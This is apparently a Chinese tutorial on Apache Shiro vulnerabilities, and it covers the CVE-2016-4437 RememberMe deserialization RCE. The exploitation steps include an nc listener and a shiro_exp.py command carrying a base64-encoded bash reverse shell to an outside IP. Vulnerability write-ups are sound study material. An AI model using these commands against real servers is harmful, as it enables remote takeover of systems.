前言:
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。内置了可以连接大量安全数据源(又名目录)的Realm,如LDAP、关系数据库(JDBC)、类似INI的文本配置资源以及属性文件等。
目录
RememberMe RCE-550(CVE-2016-4437)
Padding Oracle Attack RCE-721(CVE-2019-12422)
Shiro搭配spring时身份验证绕过漏洞分析(CVE-2020-1957)
Apache Shiro 628权限绕过漏洞 (CVE-2020-2957)
Apache Shiro权限绕过漏洞分析(CVE-2020-11989)
Apache Shiro 权限绕过漏洞(CVE-2020-13933)
RememberMe RCE-550(CVE-2016-4437)
漏洞详情:
Apache Shiro框架提供了记住我(RememberMe)的功能,关闭浏览器再次访问时无需再登录即可访问。shiro默认使用CookieRememberMeManager,对rememberMe的cookie做了加密处理,在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化、AES加密、Base64编码操作。服务器端识别身份解密处理cookie的流程则是:
获取rememberMe cookie ->base64 解码->AES解密(加密密钥硬编码)->反序列化(未作过滤处理)。但是AES加密的密钥Key被硬编码(密钥初始就被定义好不能动态改变的)在代码里,这就意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终就造成了反序列化的RCE漏洞。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都可能会导致该漏洞的产生.硬编码是将数据直接嵌入到程序或其他可执行对象的源代码中。如果在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,那么就可能存在此漏洞。
漏洞影响:
Apache Shiro <= 1.2.4
漏洞利用:
- 访问存在漏洞的网站,勾选Remenber me,输入账号:admin密码:123456
- 提交表单的同时进行抓包,返回包中存在Set-Cookie: rememberMe=deleteMe
3.将反弹shell命令放到 http://www.jackson-t.ca/runtime-exec-payloads.html 进行编码转换
4.nc监听4444端口
nc -lvpp 4444
5.使用shiro_exp.py执行bash反弹shell命令
python2 .\exp.py -t 3 -u http://xx.xx.xx.xx:8080/login -p ' bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8yNy4xNTUuODcuODkvMzI0NjAgMD4mMQ==}|{base64,-d}|{bash,-i}'